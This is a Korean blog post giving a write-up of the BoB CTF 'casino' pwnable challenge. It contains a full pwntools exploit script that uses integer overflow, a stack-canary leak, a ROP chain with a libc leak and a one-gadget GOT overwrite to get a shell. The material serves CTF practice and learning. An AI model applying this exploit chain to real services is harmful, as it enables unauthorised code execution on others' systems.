Notice
Recent Posts
Recent Comments
Link
«   2025/04   »
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30
Tags
more
Archives
Today
Total
관리 메뉴

cdor1's lab

BoB CTF casino 본문

Security/Pwnable

BoB CTF casino

Cdor1 2017. 1. 12. 01:41

후기 : 인티져 오버플로우와 rop를 이용한 문제였다.

공개된 2가지 bob ctf포너블 문제들을 모두 풀어보았는데 풀고나니 더더욱 비오비 6기가 되고싶은 마음이 커졌다.

이렇게 int형 변수로 입력 받고 직접적으로 +=혹은 -=연산을 하는 바이너리들은 거의 인티져 오버플로우를 허용하는 문제들 같다.


from pwn import *
s = remote('localhost', 4000)
elf = ELF('/home/cdor1/pwnable/casino')

gets_plt = elf.plt['gets']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
exit_got = elf.got['exit']

def earn(money, num):
	print s.recvuntil('>>> ')
	s.sendline('1')
	print s.recvuntil('money: ')
	s.sendline(str(money))
	print s.recvuntil('lucky number: ')
	s.sendline(str(num))

def reward(payload):
	print s.recvuntil('>>> ')
	s.sendline('3')
	print s.recvuntil('name: ')
	s.sendline(payload)

def exit():
	print s.recvuntil('>>> ')
	s.sendline('5')

earn(100, -1)
reward('A'*40)
print s.recvuntil('A'*40)
canary = u64(s.recv(8))
log.info('canary : ' + hex(canary))

pay1 = 'A'*40
pay1 += p64(canary)
pay1 += 'A'*8
pay1 += p64(0x401083) # poprdi
pay1 += p64(puts_got)
pay1 += p64(puts_plt)
pay1 += p64(0x400fee) # moveax0
reward(pay1)

print s.recvuntil('A'*40)
print s.recv(8)
leak = u64(s.recv(6).ljust(8,'\x00'))
libc_base = leak - 0x6fd60
one_shot = libc_base + 0x4647c
log.info('leak : ' + hex(leak))
log.info('base : ' + hex(libc_base))
log.info('one_shot : ' + hex(one_shot))

earn(100,-1)

pay2 = 'A'*40
pay2 += p64(canary)
pay2 += 'A'*8
pay2 += p64(0x401083)
pay2 += p64(exit_got)
pay2 += p64(gets_plt)
pay2 += p64(0x400fee)
reward(pay2)

s.sendline(p64(one_shot))
exit()
s.interactive()

'Security > Pwnable' 카테고리의 다른 글

H3X0R CTF comment  (0) 2017.01.13
H3X0R CTF ezheap  (0) 2017.01.12
SECCON CTF 2016 checker  (0) 2017.01.11
Plaid CTF 2015 prodmanager  (0) 2017.01.11
H3X0R CTF train to busan  (0) 2017.01.11
Comments